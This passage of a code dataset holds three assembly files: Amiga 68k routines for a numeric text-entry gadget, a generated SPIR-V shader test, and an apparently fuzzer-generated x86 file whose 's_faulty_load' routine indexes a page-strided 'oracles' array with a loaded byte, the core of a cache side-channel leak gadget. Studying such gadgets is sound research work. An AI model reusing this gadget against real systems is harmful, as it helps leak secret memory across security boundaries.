make big AtoF\n\t\tbra.b\t.write_char\n\n.if_dez\t\tbtst\t#oxNSB_DEZ,oxNS_flags(a3)\n\t\tbeq.b\t.write_char\n\n\t\tcmp.b\t#\"0\",d0\n\t\tblt.b\t.rts_used\n\t\tcmp.b\t#\"9\",d0\n\t\tbgt.b\t.rts_used\n\n.write_char\tbsr\t.edit_hook\t\t; send char, return new char\n\n\t\ttst.b\td0\t\t\t; if 0 do nothing\n\t\tbeq\t.rts_used\n\n\t\tmove.l\toxNS_string(a3),a0\n\t\tmove.l\ta0,a1\n\t\tadda.w\toxNS_offset(a3),a1\n\t\tadda.w\toxNS_inpos(a3),a1\n\t\tsubq.l\t#1,a1\n\n\t\tmove.w\toxNS_stringlenght(a3),d1\n\t\tcmp.w\toxNS_maxlenght(a3),d1\n\t\tbge\t.rts_used\n\n\t\tadda.w\td1,a0 \n\t\taddq.w\t#1,oxNS_stringlenght(a3)\n\n.einf_lp\tmove.b\t(a0),1(a0)\n\t\tsubq.l\t#1,a0\n\t\tcmp.l\ta0,a1\n\t\tbne.b\t.einf_lp\n\n\t\tmove.b\td0,1(a1)\n\t\taddq.w\t#1,oxNS_inpos(a3)\n\n\t\tbsr\t.find_lp\n\t\tbra\t.refresh\n\n.right\t\tcmp.w\t#CURSORRIGHT,im_Code(a1)\n\t\tbne\t.left\n\n.right1\t\tmove.w\toxNS_offset(a3),d1\n\t\tadd.w\toxNS_inpos(a3),d1\n\t\tcmp.w\toxNS_stringlenght(a3),d1\n\t\tbge\t.rts_used\n\n\t\tadd.w\t#1,oxNS_inpos(a3)\n\n.find_lp\tmove.w\toxNS_inpos(a3),d0\n\t\taddq.w\t#1,d0\n\n\t\tmove.l\toxNS_string(a3),a0\n\t\tadda.w\toxNS_offset(a3),a0\n\n\t\tmove.l\toxNS_drawinfo(a3),a1\n\t\tmove.l\toxDI_rastport(a1),a1\n\n\t\tpush\ta6\n\t\tmove.l\toxB_gfxbase(a6),a6\n\t\tjsr\t_LVOTextLength(a6)\n\t\tpop\ta6\n\n\t\tmove.w\toxNS_width(a3),d1\n\t\tsubq.w\t#8,d1\t; frames and spacings\n\t;\tsubq.w\t#7,d1\n\t\tcmp.w\td1,d0\n\t\tble.b\t.refresh\n\t\tsubq.w\t#1,oxNS_inpos(a3)\n\t\taddq.w\t#1,oxNS_offset(a3)\n\t\tbra\t.find_lp\n\n.refresh\tbsr\tNS_draw_string_rf\n\t\tbra\t.rts_used\n\n.left\t\tcmp.w\t#CURSORLEFT,im_Code(a1)\n\t\tbne\t.rts_unused\n\n.left1\t\tsub.w\t#1,oxNS_inpos(a3)\n\t\tbge.b\t.refresh\n\t\tclr.w\toxNS_inpos(a3)\n\t\tsubq.w\t#1,oxNS_offset(a3)\n\t\tbge.b\t.refresh\n\t\tclr.w\toxNS_offset(a3)\n\t\tbra\t.rts_used\n\n.rts_unused\tmoveq\t#0,d0\n\t\trts\n\n.button\t\tcmp.w\t#SELECTDOWN,im_Code(a1)\n\t\tbne.b\t.rts\n\n\t\tmovem.w\toxNS_left(a3),d0-d3\n\t\tbsr\tis_in_rect\n\t\tbeq.b\t.rts_unused\n\n\t\tmove.l\toxNS_string(a3),a0\n\t\tadda.w\toxNS_offset(a3),a0\n\t\tmove.w\toxNS_stringlenght(a3),d0\n\t\tsub.w\toxNS_offset(a3),d0\n\n\t\tmove.l\tim_IDCMPWindow(a1),a1\n\t\tmove.w\twd_GZZMouseX(a1),d2\n\n\t\tsub.w\toxNS_left(a3),d2\n\n\t\tsubq.w\t#4,d2\t\t\t\t; left frames and spacings\n\t\tmove.w\toxNS_height(a3),d3\t\t; just a dummy value at least as big as the font height\n\n\t\tmoveq\t#1,d1\n\t\tpushm\ta3\/a6\n\n\t\tmove.l\toxNS_drawinfo(a3),a1\n\t\tmove.l\toxDI_rastport(a1),a1\n\n\t\tsub.l\ta3,a3\n\t\tlea\t-te_SIZEOF(a7),a7\n\t\tmove.l\ta7,a2\n\t\tmove.l\toxB_gfxbase(a6),a6\n\t\tjsr\t-696(a6)\t\t\t; _LVOTextFit(a6)\n\t\tlea\tte_SIZEOF(a7),a7\n\n\t\tmove.w\td0,d7\n\n\t\tpop\ta3\n\n\t\taddq.w\t#1,d0\n\n\t\tmove.l\toxNS_string(a3),a0\n\t\tadda.w\toxNS_offset(a3),a0\n\n\t\tmove.l\toxNS_drawinfo(a3),a1\n\t\tmove.l\toxDI_rastport(a1),a1\n\t\tjsr\t_LVOTextLength(a6)\n\n\t\tpop\ta6\n\n\t\tmove.w\toxNS_width(a3),d1\n\t\tsubq.w\t#8,d1\t; frames and spacings\n\t;\tsubq.w\t#4,d1\n\t\tcmp.w\td1,d0\n\t\tble.b\t.set_active\n\t\tsubq.w\t#1,d7\n\n.set_active\tbset\t#oxNSB_ACTIVE,oxNS_flags(a3)\n\t\tbne.b\t.set_ip\n\n\t\tbsr\tns_reset\t\t\t; sets d7 to 0 if delfirst\n\n\t\tmove.l\ta3,d1\n\t\tmove.l\toxNS_drawinfo(a3),a0\n\t\tmove.l\toxDI_windowobject(a0),a0\n\t\tmove.l\t#oxWA_ichbindran,d0\n\t\tjsr\t_LVOoxSetAttr(a6)\n\n.set_ip\t\tmove.w\td7,oxNS_inpos(a3)\n\n\t\tbra\t.refresh\n\n\n.edit_hook\t; call edit hook, returns char in d0\n\n\t\tmove.l\toxNS_edithook(a3),d1\n.hook\t\tbeq\t.rts1\n\n\t\tmove.l\td1,a2\n\n\t\t; hooks get: a0 and a3 *list, a4 *base, a1 and a5 *message, a6 *oxbase\n\n\t\tmove.l\toxO_userbase(a3),a4\n\n\t\t; nullterminate string for use in hook\n\n\t\tmove.l\toxNS_string(a3),a1\n\t\tadda.w\toxNS_stringlenght(a3),a1\n\t\tclr.b\t(a1)\n\n\t\tlea\t-oxNSSI_SIZEOF(a7),a7\n\t\tmove.l\ta7,a1\n\t\tmove.l\ta1,a5\n\n\t\tmove.l\ta3,oxNSSI_object(a5)\n\t\tmove.l\toxNS_string(a3),oxNSSI_string(a5)\n\t\tmove.w\toxNS_stringlenght(a3),oxNSSI_lenght(a5)\n\t\tmove.l\toxNS_value(a3),oxNSSI_value(a5)\n\t\tmove.b\td0,oxNSSI_char(a5)\n\t\tmove.l\ta3,a0\n\n\t\tpushm\td2-d7\/a2-a6\n\t\tjsr\t(a2)\n\t\tpopm\td2-d7\/a2-a6\n\n\t\t; terminate string by space for internal use\n\n\t\tmove.l\toxNS_string(a3),a1\n\t\tadda.w\toxNS_stringlenght(a3),a1\n\t\tmove.b\t#\" \",(a1)\n\n\t\tlea\toxNSSI_SIZEOF(a7),a7\n\n.rts1\t\trts\n\n.enter\t\tbsr\tcalc_value\t\t; from string and fix value before and remake string form fixed value\n\n\t\tmove.l\toxNS_value(a3),d0\n\t\tmove.l\toxNS_enterhook(a3),d1\n\t\tbsr\t.hook\n\n\t\t; activate enter object\n\n\t\tmove.l\toxNS_enterobject(a3),d0\n\t\tbeq\t.self_inact\n\n\t\tbclr\t#0,d0\n\t\tbeq.b\t.abs\n\n\t\tlea\t(a4,d0.l),a0\t\t; get pointer from base\n\t\tbra\t.get\n\n.abs\t\tmove.l\td0,a0\n\n.get\t\tmove.l\t(a0),d0\n\t\tbeq\t.self_inact\n\t\tmove.l\td0,a0\n\t\tmoveq\t#OXM_ACTIVATE,d1\n\t\tjsr\t_LVOoxDoMethod(a6)\n\t\tbra\t.rts_used\n\n.self_inact\t; self-deactivate and remove link from window\n\n\t\tmove.l\toxNS_drawinfo(a3),a0\n\t\tmove.l\toxDI_windowobject(a0),a0\n\t\tmove.l\t#oxWM_clrpriv,d1\n\t\tjsr\t_LVOoxDoMethod(a6)\n\t\tbra\tNS_INACTIVE_1\n\nNS_ACTIVATE\tbset\t#oxNSB_ACTIVE,oxNS_flags(a3)\n\t\tbne\t.rts_unused\n\n\t\tbsr\tns_reset\n\n\t\tmove.l\ta3,d1\n\t\tmove.l\toxNS_drawinfo(a3),a0\n\t\tmove.l\toxDI_windowobject(a0),a0\n\t\tmove.l\t#oxWA_ichbindran,d0\n\t\tjsr\t_LVOoxSetAttr(a6)\n\n\t\tbsr\tNS_draw_string_rf\t\t; this draws cursor if _ACTIVE bit is set\n\n\t\tmoveq\t#1,d0\n.rts_unused\trts\n\nns_reset\tbclr\t#oxNSB_DELFIRST,oxNS_flags(a3)\n\t\tbeq.b\t.rts\n\n\t\tclr.w\toxNS_inpos(a3)\n\t\tmoveq\t#0,d7\n\n\t\tclr.w\toxNS_stringlenght(a3)\n\t\tmove.l\toxNS_string(a3),a0\n\t\tmove.b\t#\" \",(a0)\n\n\t\tclr.l\toxNS_value(a3)\n\n.rts\t\trts\n\nNS_INACTIVE\tbsr\tcalc_string\t\t\t; if we clicked with mouse on\/into annother gad\n\nNS_INACTIVE_1\tbclr\t#oxNSB_ACTIVE,oxNS_flags(a3)\n\t\tbeq\t.rts_unused\n\n\t\tclr.w\toxNS_offset(a3)\n\t\tclr.w\toxNS_inpos(a3)\n\n\t\tbsr\tNS_draw_string_rf\t\t; does not draw cursor because _AVTIVE bit is clear\n\n\t\tmoveq\t#1,d0\n.rts_unused\trts\n\n\nNS_LINKPRIV\tbtst\t#oxNSB_ACTIVE,oxNS_flags(a3)\n\t\tbeq\t.rts\n\n\t\tmove.l\ta0,d1\n\t\tmove.l\toxNS_drawinfo(a3),a0\n\t\tmove.l\toxDI_windowobject(a0),a0\n\t\tmove.l\t#oxWA_ichbindran,d0\n\t\tjsr\t_LVOoxSetAttr(a6)\n\t\tmoveq\t#1,d0\n.rts\t\trts\n\nNS_RELINK \tbtst\t#oxNSB_OFF,oxNS_flags(a3)\n\t\tbne.b\t.rts\n\n\t \tlea\toxNS_prev(a0),a2\n\t\tjmp\t_LVOoxRingConnect(a6)\n\n.rts\t\trts\n\n; misc support routines\n\nis_in_rect\tmovem.l\td1-d3\/a2,-(a7)\n\n\t\tmove.l\tim_IDCMPWindow(a1),a2\n\t\tmovem.w\twd_GZZMouseX(a2),d4\/d5\n\n\t\tcmp.w\td4,d0\n\t\tbgt.b\t.not_in_rect\n\n\t\tadd.w\td2,d0\n\t\tsubq.w\t#1,d0\n\t\tcmp.w\td4,d0\n\t\tblt.b\t.not_in_rect\n\n\t\tcmp.w\td5,d1\n\t\tbgt.b\t.not_in_rect\n\n\t\tadd.w\td3,d1\n\t\tsubq.w\t#1,d1\n\t\tcmp.w\td5,d1\n\t\tblt.b\t.not_in_rect\n\n\t\tmoveq\t#1,d0\n.restack\tmovem.l\t(a7)+,d1-d3\/a2\n\t\trts\n.not_in_rect\tmoveq\t#0,d0\n\t\tbra.b\t.restack\n\n\nalloc_mem\ttst.l\td0\n\t\tbeq.b\t.rts\n\t\tmovem.l\td1-a6,-(a7)\n\t\tmove.l\t#$10001,d1\t; MEMF_PUBLIC | MEMF_CLEAR\n\t\tmove.l\t4.w,a6\n\t\tjsr\t_LVOAllocMem(a6)\n\t\tmovem.l\t(a7)+,d1-a6\n\t\ttst.l\td0\n.rts\t\trts\n\n;------------------------------\n; dez hex val string\n\n;d0\t;value\n;a0\t;*deststring\n;>a0\t;*behindnewchars\n\nval_to_dez\n\tmovem.l\td1-d4\/a1-a2,-(a7)\n\tpush\ta0\t\t; Pufferstart merken\n\tmoveq\t#10-1,d1\t; 10 Stellen (wg. dbf -1)\n\tlea\tdivtable(pc),a2\t; Divisionstabelle\n\tmove.l\t(a2)+,d3\t; = 1000000000 f. ersten Durchlauf\n\tmoveq\t#0,d2\t\t; Flagge f\u00fcr f\u00fchrende Nullen\n.lp1\tmoveq\t#-1,d4\t\t; Z\u00e4hler f\u00fcr Subtraktionen ohne \u00dcberlauf\n.2\taddq.w\t#1,d4\t\t; plus 1 = im Bereich von 0 bis 9\n\tsub.l\td3,d0\t\t; Subtraktion\n\tbpl.s\t.2\t\t; Solange kein \u00dcberlauf (bcc.s)\n\tadd.l\td3,d0\t\t; Negativen (\u00dcberlauf!) Wert korrigieren\n\tmove.l\t(a2)+,d3\t; Neuen Wert aus Tabelle, entspricht d3 \/ 10\n\tadd.w\t#$30,d4\t\t; Nach ASCII wandeln\n\ttst.w\td2\t\t; Schon Ziffern in Puffer abgelegt?\n\tbne.b\t.4\t\t; Falls ja, auch Nullziffer ablegen\n\tcmp.b\t#\"0\",d4\t\t; Ist es eine Nullziffer?\n\tbeq.b\t.5\t\t; Falls ja, f\u00fchrende Null nicht ablegen\n\tst\td2\t\t; Sonst Flagge setzen\n.4\tmove.b\td4,(a0)+\t; Ziffer ablegen\n.5\tdbf\td1,.lp1\t\t; Anzahl Stellen\n\tcmp.l\t(a7)+,a0\t; Pufferadresse = initiale Adresse?\n\tbne.b\t.pop\t\t; Wenn nicht,\n\tmove.b\t#\"0\",(a0)+\t; sonst Nullziffer ablegen (d0 war 0)\n.pop\n\tclr.b\t(a0)\t\t; String Terminierung (Puffer muss 11\n\t\t\t\t; Bytes gro\u00df sein)\n\tmovem.l\t(a7)+,d1-d4\/a1-a2\n\trts\n\ndivtable\n\tdc.l\t1000000000\n\tdc.l\t100000000\n\tdc.l\t10000000\n\tdc.l\t1000000\n\tdc.l\t100000\n\tdc.l\t10000\n\tdc.l\t1000\n\tdc.l\t100\n\tdc.l\t10\n\tdc.l\t1\n\n;d0.w\t;number of chars\n;a0\t;*string\n;>d0\t;value\n\ndez_to_val\n\tmovem.l\td1-d3\/a0,-(a7)\n\tlea\t(a0,d0.w),a0\n\tsubq.w\t#1,d0\n\tmoveq\t#1,d2\n\tmoveq\t#0,d3\n.dv_lp\tmoveq\t#0,d1\n\tmove.b\t-(a0),d1\n\tsub.w\t#$30,d1\n\tmulu.w\td2,d1\n\tmulu.w\t#10,d2\n\tadd.l\td1,d3\n\tdbf\td0,.dv_lp\n\tmove.l\td3,d0\n\tmovem.l\t(a7)+,d1-d3\/a0\n\trts\n\nval_to_hex\n\tpush\td2\n\ttst.w\td1\n\tble.b\t.pop\n\tADDA.w\tD1,A0\t\t; d0=value \/ d1=strlen \/ a0=dest\n\tSUBQ.w\t#1,D1\n;\tclr.b\t(a0)\t\t; terminate str\n.lp\tMOVE.B\tD0,D2\n\tLSR.L\t#4,D0\n\tANDI.W\t#$000F,D2\n\tMOVE.B\t.chars(pc,D2.W),-(A0)\n\tDBF\tD1,.lp\n.pop\tpop\td2\n\tRTS\n.chars\tDC.B\t'0123456789ABCDEF'\n\teven\n\nhex_to_val\n\tpushm\td1\/d2\n\n\tsubq.w\t#1,d0\t\t; d0=len a0=String, zahl to d0\n\tbge.b\t.HZ0\n\tmoveq\t#0,d0\n\tmove.b\t#\"0\",(a0)\n.HZ0\tmoveq\t#0,d2\n.HZ1:\tmove.b\t(a0)+,d1\n\tsub.b\t#$30,d1\n\tcmp.b\t#$A,d1\n\tblt.s\t.HZ2\n\tsubq.b\t#7,d1\n\tand.w\t#$f,d1\n.HZ2:\tlsl.l\t#4,d2\n\tor.b\td1,d2\n\tdbf\td0,.HZ1\n\tmove.l\td2,d0\n\n\tpopm\td1\/d2\n\trts\n\nfree_mem\tmovem.l\td0-a6,-(a7)\n\t\tmove.l\ta0,a1\t\t; aber in a1 wird gebraucht\n\t\tmove.l\t4.w,a6\n\t\tjsr\t_LVOFreeMem(a6)\n\t\tmovem.l\t(a7)+,d0-a6\n\t\trts\n\n\nauto_request\t; a0\t*text\n\t\t; a6\t*oxbase\n\n\t\tpushm\td0\/d1\/a0\/a1\/a2\/a3\/a6\n\n\t\tmove.l\toxB_intbase(a6),a6\n\n\t\tlea\t.it_body(pc),a1\n\t\tmove.l\ta0,it_IText(a1)\t; insert *text into body intuitext\n\t\tsub.l\ta0,a0\t\t; no parent window\n\t\tsub.l\ta2,a2\t\t; no positive text\n\t\tlea\t.it_ok(pc),a3\t; negative text\n\t\tmoveq\t#0,d0\n\t\tmoveq\t#0,d1\n\n\t\tjsr\t_LVOAutoRequest(a6)\n\n\t\tpopm\td0\/d1\/a0\/a1\/a2\/a3\/a6\n\t\trts\n\n.it_body\tdc.b\t1,0\t\t; the pens for rendering the text, front,back\n\t\tdc.b\t0\t\t; the mode for rendering the text\n\t\tdc.b\t0\t\t; pad\n \t\tdc.w\t0,0\t\t; relative start location for the text, x,y\n \t\tdc.l\t0\t\t; font, if NULL, you accept the defaults\n\t\tdc.l\t0\t\t; pointer to null-terminated text\n\t\tdc.l\t0\t\t; pointer to another IntuiText to render\n\n.it_ok\t\tdc.b\t1,0\t\t; the pens for rendering the text, front,back\n\t\tdc.b\t0\t\t; the mode for rendering the text\n\t\tdc.b\t0\t\t; pad\n \t\tdc.w\t0,0\t\t; relative start location for the text, x,y\n \t\tdc.l\t0\t\t; font, if NULL, you accept the defaults\n\t\tdc.l\t.ok\t\t; pointer to null-terminated text\n\t\tdc.l\t0\t\t; pointer to another IntuiText to render\n\n.ok\t\tdc.b\t\"OK\",0\n\t\teven\n\n; Zak McKracken for president\n\n","avg_line_length":18.4813988095,"max_line_length":108,"alphanum_fraction":0.6897218084} {"size":5916,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"; SPIR-V\n; Version: 1.0\n; Generator: Khronos Glslang Reference Front End; 10\n; Bound: 100\n; Schema: 0\n OpCapability Shader\n %1 = OpExtInstImport \"GLSL.std.450\"\n OpMemoryModel Logical GLSL450\n OpEntryPoint Fragment %4 \"main\" %47 %77\n OpExecutionMode %4 OriginUpperLeft\n OpSource ESSL 320\n OpName %4 \"main\"\n OpName %11 \"arr\"\n OpName %16 \"p\"\n OpName %19 \"i\"\n OpName %29 \"j\"\n OpName %47 \"gl_FragCoord\"\n OpName %77 \"_GLF_color\"\n OpName %81 \"buf0\"\n OpMemberName %81 0 \"_GLF_uniform_int_values\"\n OpName %83 \"\"\n OpDecorate %47 BuiltIn FragCoord\n OpDecorate %77 Location 0\n OpDecorate %80 ArrayStride 16\n OpMemberDecorate %81 0 Offset 0\n OpDecorate %81 Block\n OpDecorate %83 DescriptorSet 0\n OpDecorate %83 Binding 0\n %2 = OpTypeVoid\n %3 = OpTypeFunction %2\n %6 = OpTypeInt 32 1\n %7 = OpTypeInt 32 0\n %8 = OpConstant %7 128\n %9 = OpTypeArray %6 %8\n %10 = OpTypePointer Private %9\n %11 = OpVariable %10 Private\n %12 = OpConstant %6 1\n %13 = OpConstantComposite %9 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12\n %14 = OpTypeVector %6 2\n %15 = OpTypePointer Function %14\n %17 = OpConstantComposite %14 %12 %12\n %18 = OpTypePointer Function %6\n %26 = OpConstant %6 8\n %27 = OpTypeBool\n %38 = OpTypePointer Private %6\n %44 = OpTypeFloat 32\n %45 = OpTypeVector %44 4\n %46 = OpTypePointer Input %45\n %47 = OpVariable %46 Input\n %48 = OpConstant %7 0\n %49 = OpTypePointer Input %44\n %52 = OpConstant %44 0\n %58 = OpConstant %7 1\n %69 = OpConstant %6 0\n %76 = OpTypePointer Output %45\n %77 = OpVariable %76 Output\n %78 = OpConstant %44 1\n %79 = OpConstant %7 2\n %80 = OpTypeArray %6 %79\n %81 = OpTypeStruct %80\n %82 = OpTypePointer Uniform %81\n %83 = OpVariable %82 Uniform\n %84 = OpTypePointer Uniform %6\n %4 = OpFunction %2 None %3\n %5 = OpLabel\n %16 = OpVariable %15 Function\n %19 = OpVariable %18 Function\n %29 = OpVariable %18 Function\n OpStore %11 %13\n OpStore %16 %17\n OpStore %19 %12\n OpBranch %20\n %20 = OpLabel\n OpLoopMerge %22 %23 None\n OpBranch %24\n %24 = OpLabel\n %25 = OpLoad %6 %19\n %28 = OpSLessThan %27 %25 %26\n OpBranchConditional %28 %21 %22\n %21 = OpLabel\n OpStore %29 %12\n OpBranch %30\n %30 = OpLabel\n OpLoopMerge %32 %33 None\n OpBranch %34\n %34 = OpLabel\n %35 = OpLoad %6 %29\n %36 = OpSLessThan %27 %35 %26\n OpBranchConditional %36 %31 %32\n %31 = OpLabel\n %37 = OpLoad %6 %29\n %39 = OpAccessChain %38 %11 %37\n %40 = OpLoad %6 %39\n %41 = OpIEqual %27 %40 %12\n OpSelectionMerge %43 None\n OpBranchConditional %41 %42 %43\n %42 = OpLabel\n %50 = OpAccessChain %49 %47 %48\n %51 = OpLoad %44 %50\n %53 = OpFOrdLessThan %27 %51 %52\n OpSelectionMerge %55 None\n OpBranchConditional %53 %54 %55\n %54 = OpLabel\n OpBranch %33\n %55 = OpLabel\n %57 = OpLoad %6 %19\n %59 = OpAccessChain %18 %16 %58\n OpStore %59 %57\n OpBranch %43\n %43 = OpLabel\n OpBranch %33\n %33 = OpLabel\n %60 = OpLoad %6 %29\n %61 = OpIAdd %6 %60 %12\n OpStore %29 %61\n OpBranch %30\n %32 = OpLabel\n OpBranch %23\n %23 = OpLabel\n %62 = OpLoad %6 %19\n %63 = OpIAdd %6 %62 %12\n OpStore %19 %63\n OpBranch %20\n %22 = OpLabel\n %64 = OpAccessChain %18 %16 %48\n %65 = OpLoad %6 %64\n %66 = OpAccessChain %18 %16 %58\n %67 = OpLoad %6 %66\n %68 = OpIAdd %6 %65 %67\n %70 = OpAccessChain %38 %11 %68\n OpStore %70 %69\n %71 = OpAccessChain %38 %11 %26\n %72 = OpLoad %6 %71\n %73 = OpIEqual %27 %72 %69\n OpSelectionMerge %75 None\n OpBranchConditional %73 %74 %95\n %74 = OpLabel\n %85 = OpAccessChain %84 %83 %69 %69\n %86 = OpLoad %6 %85\n %87 = OpConvertSToF %44 %86\n %88 = OpAccessChain %84 %83 %69 %69\n %89 = OpLoad %6 %88\n %90 = OpConvertSToF %44 %89\n %91 = OpAccessChain %84 %83 %69 %12\n %92 = OpLoad %6 %91\n %93 = OpConvertSToF %44 %92\n %94 = OpCompositeConstruct %45 %78 %87 %90 %93\n OpStore %77 %94\n OpBranch %75\n %95 = OpLabel\n %96 = OpAccessChain %84 %83 %69 %69\n %97 = OpLoad %6 %96\n %98 = OpConvertSToF %44 %97\n %99 = OpCompositeConstruct %45 %98 %98 %98 %98\n OpStore %77 %99\n OpBranch %75\n %75 = OpLabel\n OpReturn\n OpFunctionEnd\n","avg_line_length":36.975,"max_line_length":549,"alphanum_fraction":0.4746450304} {"size":6892,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %r11\npush %r14\npush %r8\npush %rax\npush %rbx\npush %rcx\npush %rdi\npush %rdx\npush %rsi\nlea addresses_WT_ht+0xa38f, %r11\nnop\nnop\nnop\nnop\nsub %rbx, %rbx\nand $0xffffffffffffffc0, %r11\nvmovaps (%r11), %ymm1\nvextracti128 $0, %ymm1, %xmm1\nvpextrq $0, %xmm1, %rax\nnop\nnop\nnop\nand %rdi, %rdi\nlea addresses_WC_ht+0xbcc7, %r11\nclflush (%r11)\nand $42417, %rdx\nmov $0x6162636465666768, %r14\nmovq %r14, %xmm2\nvmovups %ymm2, (%r11)\nnop\ninc %r14\nlea addresses_normal_ht+0x1038f, %rdi\nnop\nnop\nsub %r8, %r8\nmov (%rdi), %dx\nnop\nnop\nnop\nnop\nnop\ncmp %r8, %r8\nlea addresses_WC_ht+0x1e28f, %rdx\nnop\nnop\nnop\nnop\ncmp %r14, %r14\nmovb (%rdx), %bl\nnop\nadd %rdi, %rdi\nlea addresses_UC_ht+0x502f, %rsi\nlea addresses_WC_ht+0x12f6b, %rdi\nxor $29241, %r8\nmov $48, %rcx\nrep movsb\nnop\nmfence\nlea addresses_WC_ht+0xcb8f, %rbx\nand %r8, %r8\nmovups (%rbx), %xmm0\nvpextrq $1, %xmm0, %rsi\nnop\nnop\nnop\ncmp %r14, %r14\nlea addresses_UC_ht+0x1338f, %rsi\nlea addresses_UC_ht+0xdb8f, %rdi\nnop\nnop\nnop\nnop\nadd %rbx, %rbx\nmov $28, %rcx\nrep movsq\nnop\nnop\nnop\ninc %r11\nlea addresses_normal_ht+0x13bd7, %rsi\nlea addresses_A_ht+0x738f, %rdi\nnop\nnop\nnop\nnop\ncmp %rdx, %rdx\nmov $64, %rcx\nrep movsl\nnop\nsub %r11, %r11\nlea addresses_WT_ht+0x127cf, %rbx\nnop\ncmp $63478, %r8\nmovw $0x6162, (%rbx)\nxor $39146, %rbx\nlea addresses_A_ht+0x1b2a3, %r11\nclflush (%r11)\nnop\nnop\nnop\ncmp $60938, %r8\nmov (%r11), %ebx\nnop\ndec %rbx\nlea addresses_normal_ht+0x750f, %rbx\ncmp $46393, %rax\nmovw $0x6162, (%rbx)\nnop\nnop\nnop\nxor $44689, %rdi\nlea addresses_WT_ht+0x4acf, %rcx\nnop\nand %r8, %r8\nmov (%rcx), %si\nnop\nsub %rcx, %rcx\npop %rsi\npop %rdx\npop %rdi\npop %rcx\npop %rbx\npop %rax\npop %r8\npop %r14\npop %r11\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r11\npush %r13\npush %r8\npush %rbx\npush %rdi\npush %rsi\n\n\/\/ Faulty Load\nlea addresses_A+0x18b8f, %r11\nand %r8, %r8\nmovb (%r11), %bl\nlea oracles, %r13\nand $0xff, %rbx\nshlq $12, %rbx\nmov (%r13,%rbx,1), %rbx\npop %rsi\npop %rdi\npop %rbx\npop %r8\npop %r13\npop %r11\nret\n\n\/*\n\n[REF]\n{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}\n[Faulty Load]\n{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}\n\n{'src': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'}\n{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}}\n{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}\n{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}\n{'src': {'same': True, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 2, 'type': 'addresses_WC_ht'}}\n{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}\n{'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}}\n{'src': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}\n{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}}\n{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}\n{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}\n{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}\n{'00': 21829}\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 